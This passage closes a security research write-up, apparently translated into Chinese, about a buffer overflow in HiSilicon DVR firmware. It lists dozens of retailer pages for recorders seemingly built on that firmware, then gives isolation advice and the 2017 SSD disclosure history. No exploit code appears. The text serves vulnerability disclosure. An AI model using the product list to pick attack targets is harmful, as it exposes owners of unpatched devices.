http://www.segvideo.com/segvideo/nvr-hvr.html +
http://www.neocam.com.br/cameras-cftv/stand-alone +
http://www.venetian.com.br/categoria/dvr-hvr-04-canais/ +
http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html +
http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html +
http://www.vixline.com.br/vitrine-de-produtos/dvrs/ +
http://aliveelectronics.com.br/category/gravadores-de-video/ +
http://www.issl.com.hk/CCTV_DVRCYVIEW1.htm +
http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html +
http://www.vonnic.ca/products376e.html?cat=13 +
http://polyvision.ru/polyvision/catalog_gibridnye.html +
http://altcam.ru/video/hd-videonabludenie/ +
http://cyfron.ru/catalog/dvr/ +
http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/ +
http://www.hiview.co.th/index.php?mo=3&art=42195125 +
http://www.kkmoon.com/usb-fan-271/p-s413-uk.html +
http://qvisglobal.com/ahd-tvi-960h-hybrid +
https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html +
http://www.novicam.ru/index.php?route=product/product&product_id=429 +
http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf +
http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-/172250300884 +
http://giraffe.by/catalog/tsifrovye-videoregistratory +
http://www.winpossee.com/en/list/?17_1.html +
http://tesamed.com.pl/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html +
http://hiq-electronics.ru/videoregistratory +
http://www.eltrox.pl/catalogsearch/result/?q=easycam+rejestrator&order=v_117002&dir=desc +
http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0 +
http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html +
http://secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557 +
http://www.divitec.ru/videoregistratoryi-divitec-idvr/
总的来说,这类廉价的物联网设备堪称安全噩梦。作者最近测试的每台设备都存在一些严重或高危漏洞。从渗透测试人员的角度来看,建议是将这类设备妥善隔离,不要与重要的机密数据共享同一网络。遗憾的是,这类固件几乎没有机会获得补丁更新。
最后,需要说明的是,此缓冲区溢出漏洞(连同漏洞利用 PoC 代码)已通过 https://www.beyondsecurity.com/ssd.html[SecuriTeam Secure Disclosure](SSD)项目披露,该项目由 https://www.beyondsecurity.com/[Beyond Security] 维护。供应商(HiSilicon)已于 2016 年底收到(由 Beyond Security 发出的)通知,但在漏洞公之于众之前没有收到任何回复(不幸的是,这是常见情况)。
2017 年 2 月发布的披露文件可于 https://ssd-disclosure.com/ssd-advisory-hisilicon-multiple-vulnerabilities/[此处] 获取。
*更新(2023-01-01):* 这项研究已被 https://vulncheck.com/[VulnCheck] 引用(于 2022-11-30),收录在 https://twitter.com/Junior_Baines[Jacob Baines] 撰写的关于攻破 Xiongmai 设备的这篇文章中:https://vulncheck.com/blog/xiongmai-iot-exploitation